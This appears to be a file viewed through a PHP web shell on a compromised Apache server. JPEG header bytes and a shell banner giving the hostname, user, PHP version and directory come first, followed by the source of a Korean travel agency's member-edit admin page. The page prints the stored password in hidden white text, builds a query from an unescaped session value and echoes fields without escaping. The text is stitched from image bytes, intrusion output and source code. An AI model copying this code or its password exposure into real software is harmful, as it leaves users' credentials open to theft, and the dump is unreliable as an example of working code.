ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/agent_info/ |
Upload File : |
<? include "../include/top_agent.html"; $data = member_fetch(" and mb_id='{$TK_MEMBER[mb_id]}' "); $row = $data[0]; // 대리점회원 구분 $data_bzcd =base_codec("MEM","MAGN","","N");//대리점회원 구분 ?> <div class="contents_wrap"> <div class="contents_wrap_in"> <div class="title">업체회원정보수정</div> <div class="contents_detail"> <div class="member_wrap"> <!-- 폼 --> <form name="frm_mb_edit" id="frm_mb_edit" method="post" action=""> <input type="hidden" name="SqlType" value="bz_edit"> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register" summary="업체회원 정보를 수정하실 수 있습니다."> <caption>업체회원 정보 수정</caption> <thead> <tr> <td colspan="2" class="t_top_line"></td> </tr> </thead> <tbody> <tr> <th scope="row"><label for="email_1">아이디</label></th> <td class="input_lo"><?=$row[mb_id]?></td> </tr> <tr> <th width="120" scope="row"><label for="com_name">업체명</label></th> <td><input name="bz_corp_nm" id="bz_corp_nm" type="text" value="<?=$row['bz_corp_nm']?>" size="20" class="input_text" hname="업체명" required /></td> </tr> <tr> <th width="120" scope="row"><label for="group">분류</label></th> <td> <select name="bz_cd" id="bz_cd" style="width:130px;" hname="분류" required /> <? for($i=0 ; $i<count($data_bzcd) ; $i++){ $bizcd = $data_bzcd[$i]; ?> <option value="<?=$bizcd['code']?>" <?=($row['bz_cd']==$bizcd['code'])?"selected":""?>><?=$bizcd['cd_nm']?></option> <?}?> </select> </td> </tr> <tr> <th scope="row"><label for="mb_pwd">비밀번호</label></th> <td><input name="mb_pwd" id="mb_pwd" type="password" value="" size="20" class="input_text" required hname="현재 비밀번호" /> <span class="input_lo"><input type="checkbox" name="mb_pwd_change" id="mb_pwd_change" value="Y" /><label for="mb_pwd_change">비밀번호변경</label> <font color="#FFFFFF"><?=$row['mb_pwd']?></font></span></td> </tr> <tr id="passwd_new" style="display:none;"> <th scope="row"><label for="mb_pwd">새로운 비밀번호 </label></th> <td><input name="mb_pwd_new" id="mb_pwd_new" type="password" value="" size="20" class="input_text" maxlength="20" /> </td> </tr> <tr id="passwd_new2" style="display:none;"> <th scope="row"><label for="mb_pwd">새로운 비밀번호 확인</label></th> <td><input name="mb_pwd_new2" id="mb_pwd_new2" type="password" value="" size="20" class="input_text" maxlength="20" /> </td> </tr> <tr> <th scope="row"><label for="mb_nm">담당자</label></th> <td><input name="mb_nm" id="mb_nm" type="text" value="<?=$row['mb_nm']?>" size="20" class="input_text" hname="비밀번호" required /></td> </tr> <tr> <th scope="row"><label for="mb_phone">핸드폰번호</label></th> <td><input name="mb_phone" id="mb_phone" type="text" value="<?=$row['mb_phone']?>" size="30" class="input_text"/> </td> </tr> <tr> <th scope="row"><label for="mb_tel">전화번호</label></th> <td><input name="mb_tel" id="mb_tel" type="text" value="<?=$row['mb_tel']?>" size="30" class="input_text" hname="비밀번호" required/></td> </tr> <tr> <th scope="row"><label for="bz_fax">팩스번호</label></th> <td><input name="bz_fax" id="bz_fax" value="<?=$row['bz_fax']?>" type="text" size="30" class="input_text"/> </td> </tr> <tr> <th scope="row"><label for="zipcd_1">주소</label></th> <td><input name="mb_zipno" id="mb_zipno" type="text" value="<?=$row['mb_zipno']?>" size="10" class="input_text" readonly /> <img src="../image/btn/btn_ad_num.gif" alt="우편번호검색" onclick="to_dialog.iframe('../include/zipfind.html?z1=mb_zipno&z2=mb_address1','우편번호검색','400','300',true,false);" class="v_align" style="cursor:pointer;" /><br/> <input name="mb_address1" id="mb_address1" type="text" value="<?=$row['mb_address1']?>" size="30" class="input_text mt5"/> <input name="mb_address2" id="mb_address2" type="text" value="<?=$row['mb_address2']?>" size="25" class="input_text mt5" /></td> </tr> </tbody> </table> <ul class="btn_check"> <li class="btn01"><a href="javascript:;" onClick="check_form();">수정</a></li> </ul> </form> <!-- /폼 --> </div> </div> </div> </div> <script Language="javascript"> //회원정보수정 function check_form() { var f = document.frm_mb_edit; if($("#mb_pwd_change").is(":checked")==true){ if(!$("#mb_pwd_new").val()) { alert('비밀번호를 입력해주세요.'); return false; } if(!$("#mb_pwd_new").val() || !$("#mb_pwd_new2").val()) { alert('새로운 비밀번호를 입력해주세요.'); return false; } if($("#mb_pwd_new").val() != $("#mb_pwd_new2").val()) { alert('새로운 비밀번호가 일치하지 않습니다.'); return false; } } var result = to_validation(f); if(result == false) return false; if(!confirm('수정하시겠습니까?'))return false; ajax_post("ajax_proc","member_proc.php","frm_mb_edit"); } $('#mb_pwd_change').click(function(){ $("#mb_pwd_new").val(""); $("#mb_pwd_new2").val(""); if($(this).is(":checked")==true){ $("#passwd_new").show(); $("#passwd_new2").show(); }else{ $("#passwd_new").hide(); $("#passwd_new2").hide(); } }); </script> <? include "../include/footer.html" ?>